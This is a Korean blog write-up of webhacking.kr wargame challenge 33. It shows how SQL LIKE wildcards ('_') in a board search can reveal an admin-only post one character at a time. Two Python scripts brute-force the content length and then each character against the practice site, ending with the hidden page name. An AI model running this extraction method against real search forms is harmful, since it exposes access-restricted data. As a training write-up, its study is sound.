티스토리 뷰
BOARD 게시판에 2개의 글과 검색 기능을 볼 수 있다.
admin의 readme 글을 눌러보면 아래와 같이 access denied가 표시되면서 내용을 볼 수가 없다.
guest의 hi~ 글을 눌러보면 아래와 같이 hi~ 라는 내용을 볼 수가 있다.
즉, admin이 작성한 readme의 내용을 보면 문제를 풀 수 있다.
검색 기능을 이용하면 내용을 알아낼 수 있다.
h를 검색하면 모든 글이 목록에 표시가 되고 i를 검색하면 guest 글만 표시가 된다.
내용의 일부만으로 검색이 되는 것을 알 수 있고 admin에 내용 중에 h는 있지만 i는 없는 것을 알 수 있다.
이러한 방법으로 admin의 내용을 유추할 수는 있지만 비효율적이다.
SQL에서 Like를 이용한 비교에서 _ 와 %가 와일드 카드 문자로 사용된다.
%
matches any number of characters, even zero characters.
_
matches exactly one character.
https://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html
이를 이용해서 내용의 전체 글자 수와 위치를 알아낼 수 있다.
guest 글의 내용을 알아내는 순서
____ : 전체 글자 수(3 글자)
h__ : 첫번째 글자
hi_ : 두번째 글자
hi~ : 세번째 글자
동일한 방법으로 admin 글을 파이썬 스크립트를 이용해서 알아냈다.
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib import urllib for i in range(1,30): url = "/challenge/web/web-33/index.php" body = urllib.urlencode({'search':'_'*i}) header = {'Content-type':'application/x-www-form-urlencoded','Cookie':'PHPSESSID=bge4jmsp2lf8mq19a2s8dsk494'} conn = httplib.HTTPConnection('webhacking.kr') conn.request('POST',url,body,header) data = conn.getresponse().read() conn.close() # print data if(data.find('admin') == -1): print "size: {}".format(i-1) break | cs |
6글자
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib import urllib import string strings = string.lowercase + string.digits + ".~!_" content = ['_','_','_','_','_','_'] for i in range(0,6): for j in strings: content[i] = j payload = '' for p in content: payload += p url = "/challenge/web/web-33/index.php" body = urllib.urlencode({'search':payload}) header = {'Content-type':'application/x-www-form-urlencoded','Cookie':'PHPSESSID=bge4jmsp2lf8mq19a2s8dsk494'} conn = httplib.HTTPConnection('webhacking.kr') conn.request('POST',url,body,header) data = conn.getresponse().read() conn.close() # print data if(data.find('admin') != -1): print "{}: {}".format(i+1, j) break print 'content:' + payload | cs |
내용이 kk.php 인 것을 알 수 있고 해당 페이지로 이동해보면 문제를 풀 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 61 (0) | 2015.09.10 |
---|---|
Challenge 60 (0) | 2015.09.10 |
Challenge 59 (0) | 2015.09.10 |
Challenge 58 (0) | 2015.09.09 |
Challenge 57 (0) | 2015.09.08 |
Challenge 55 (0) | 2015.09.06 |
Challenge 54 (0) | 2015.09.06 |
Challenge 53 (0) | 2015.09.06 |
Challenge 52 (0) | 2015.09.06 |
Challenge 51 (0) | 2015.09.05 |